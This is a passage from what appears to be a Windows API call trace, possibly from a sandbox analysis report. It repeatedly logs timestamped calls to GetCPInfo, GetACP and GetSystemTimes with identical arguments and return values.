GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.887] GetACP () returned 0x4e4 [0052.887] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.887] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.887] GetACP () returned 0x4e4 [0052.887] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.887] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.887] GetACP () returned 0x4e4 [0052.887] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.887] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.887] GetACP () returned 0x4e4 [0052.887] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.887] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.887] GetACP () returned 0x4e4 [0052.887] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.887] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.887] GetACP () returned 0x4e4 [0052.887] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.887] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.888] GetACP () returned 0x4e4 [0052.888] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.888] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.888] GetACP () returned 0x4e4 [0052.888] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.888] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.888] GetACP () returned 0x4e4 [0052.888] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.888] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.888] GetACP () returned 0x4e4 [0052.888] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.888] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.888] GetACP () returned 0x4e4 [0052.888] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.888] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.888] GetACP () returned 0x4e4 [0052.888] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.888] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.888] GetACP () returned 0x4e4 [0052.888] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.888] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.888] GetACP () returned 0x4e4 [0052.888] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.888] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.888] GetACP () returned 0x4e4 [0052.888] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.888] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.888] GetACP () returned 0x4e4 [0052.888] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.889] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.889] GetACP () returned 0x4e4 [0052.889] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.889] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.889] GetACP () returned 0x4e4 [0052.889] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.889] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.889] GetACP () returned 0x4e4 [0052.889] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.889] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.889] GetACP () returned 0x4e4 [0052.889] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.889] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.889] GetACP () returned 0x4e4 [0052.889] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.889] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.889] GetACP () returned 0x4e4 [0052.889] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.889] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.889] GetACP () returned 0x4e4 [0052.889] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.889] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.889] GetACP () returned 0x4e4 [0052.889] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.889] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.889] GetACP () returned 0x4e4 [0052.889] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.890] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.890] GetACP () returned 0x4e4 [0052.890] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.890] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.890] GetACP () returned 0x4e4 [0052.890] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.890] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.890] GetACP () returned 0x4e4 [0052.890] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.890] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.890] GetACP () returned 0x4e4 [0052.890] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.890] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.890] GetACP () returned 0x4e4 [0052.890] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.890] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.890] GetACP () returned 0x4e4 [0052.890] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.890] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.890] GetACP () returned 0x4e4 [0052.890] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.890] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.890] GetACP () returned 0x4e4 [0052.890] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.890] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.890] GetACP () returned 0x4e4 [0052.890] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.891] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.891] GetACP () returned 0x4e4 [0052.891] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.891] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.891] GetACP () returned 0x4e4 [0052.891] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.891] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.891] GetACP () returned 0x4e4 [0052.891] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.891] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.891] GetACP () returned 0x4e4 [0052.891] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.891] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.891] GetACP () returned 0x4e4 [0052.891] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.891] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.891] GetACP () returned 0x4e4 [0052.891] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.891] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.891] GetACP () returned 0x4e4 [0052.891] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.891] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.891] GetACP () returned 0x4e4 [0052.891] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.892] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.892] GetACP () returned 0x4e4 [0052.892] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.892] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.892] GetACP () returned 0x4e4 [0052.892] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.892] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.892] GetACP () returned 0x4e4 [0052.892] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.892] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.892] GetACP () returned 0x4e4 [0052.892] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.892] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.892] GetACP () returned 0x4e4 [0052.892] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.892] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.892] GetACP () returned 0x4e4 [0052.892] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.892] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.892] GetACP () returned 0x4e4 [0052.892] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.892] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.892] GetACP () returned 0x4e4 [0052.892] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.892] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.892] GetACP () returned 0x4e4 [0052.892] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.892] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.893] GetACP () returned 0x4e4 [0052.893] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.893] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.893] GetACP () returned 0x4e4 [0052.893] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.893] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.893] GetACP () returned 0x4e4 [0052.893] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.893] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.893] GetACP () returned 0x4e4 [0052.893] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.893] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.893] GetACP () returned 0x4e4 [0052.893] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.893] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.893] GetACP () returned 0x4e4 [0052.893] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.893] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.893] GetACP () returned 0x4e4 [0052.893] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.893] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.893] GetACP () returned 0x4e4 [0052.893] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.893] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.893] GetACP () returned 0x4e4 [0052.893] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.893] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.893] GetACP () returned 0x4e4 [0052.894] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.894] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.894] GetACP () returned 0x4e4 [0052.894] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.894] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.894] GetACP () returned 0x4e4 [0052.894] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.894] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.894] GetACP () returned 0x4e4 [0052.894] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.894] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.894] GetACP () returned 0x4e4 [0052.894] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.894] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.894] GetACP () returned 0x4e4 [0052.894] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.894] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.894] GetACP () returned 0x4e4 [0052.894] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.894] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.894] GetACP () returned 0x4e4 [0052.894] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.894] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.894] GetACP () returned 0x4e4 [0052.894] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.894] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.894] GetACP () returned 0x4e4 [0052.895] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.895] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.895] GetACP () returned 0x4e4 [0052.895] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.895] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.895] GetACP () returned 0x4e4 [0052.895] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.895] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.895] GetACP () returned 0x4e4 [0052.895] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.895] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.895] GetACP () returned 0x4e4 [0052.895] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.895] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.895] GetACP () returned 0x4e4 [0052.895] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.895] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.895] GetACP () returned 0x4e4 [0052.895] GetSystemTimes (in: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68 | out: lpIdleTime=0x18fa70, lpKernelTime=0x18fa60, lpUserTime=0x18fa68) returned 1 [0052.895] GetCPInfo (in: CodePage=0x0, lpCPInfo=0x18fa10 | out: lpCPInfo=0x18fa10) returned 1 [0052.895] GetACP () returned 0x4e4 [0052.895] GetSystemTimes (in: 